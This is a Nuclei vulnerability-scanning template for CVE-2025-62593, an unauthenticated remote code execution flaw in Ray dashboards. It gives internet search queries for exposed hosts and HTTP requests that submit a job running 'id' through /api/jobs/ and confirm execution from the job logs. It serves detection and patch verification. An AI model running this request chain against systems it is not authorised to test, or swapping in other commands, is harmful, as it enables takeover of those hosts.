id: CVE-2025-62593 info: name: Ray < 2.52.0 - Remote Code Execution author: Veraptos VaaS Alpha severity: critical description: | Ray versions prior to 2.52.0 allow unauthenticated remote code execution via the job submission API at /api/jobs/. A weak User-Agent heuristic (rejecting Mozilla-prefixed headers) can be bypassed by non-browser clients, enabling arbitrary command execution when the dashboard is network-reachable. impact: | Unauthenticated attackers with network access to the Ray Dashboard can submit jobs that execute arbitrary commands on the host. remediation: | Upgrade Ray to version 2.52.0 or later and enable RAY_AUTH_MODE=token. Restrict dashboard access to trusted networks. reference: - https://github.com/ray-project/ray/security/advisories/GHSA-q279-jhrf-cc6v - https://github.com/projectdiscovery/nuclei-templates/issues/16961 - https://nvd.nist.gov/vuln/detail/CVE-2025-62593 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2025-62593 epss-score: 0.6015 epss-percentile: 0.99133 cwe-id: CWE-94 metadata: verified: true max-request: 2 vendor: ray_project product: ray shodan-query: - http.favicon.hash:463802404 - http.html:"ray dashboard" fofa-query: - icon_hash=463802404 - body="ray dashboard" tags: cve,cve2025,rce,ray,kev,vkev flow: http(1) && http(2) variables: jobid: "1Job_{{rand_base(6)}}" http: - raw: - | GET / HTTP/1.1 Host: {{Hostname}} matchers: - type: word part: body words: - 'Ray Dashboard' - '/css/main.388a904b.css' condition: and internal: true - raw: - | POST /api/jobs/ HTTP/1.1 Host: {{Hostname}} Content-Type: application/json {"entrypoint":"id","submission_id":"{{jobid}}"} - | GET /api/jobs/{{jobid}}/logs?{{wait_for(3)}} HTTP/1.1 Host: {{Hostname}} matchers-condition: and matchers: - type: regex part: body regex: - 'uid=\d+' - type: word part: content_type words: - 'application/json' - type: status status: - 200 extractors: - type: regex part: body name: jobid regex: - 'uid=(\d+)' # digest: 490a004630440220607dac50fc010ebedc1a54fb5732eb9dcdd08f922837ce886c92f8285515f18302201c02033500893403c224207d7ec58e45113d418dbad7f730fcf77131787f8fed:922c64590222798bb761d5b6d8e72950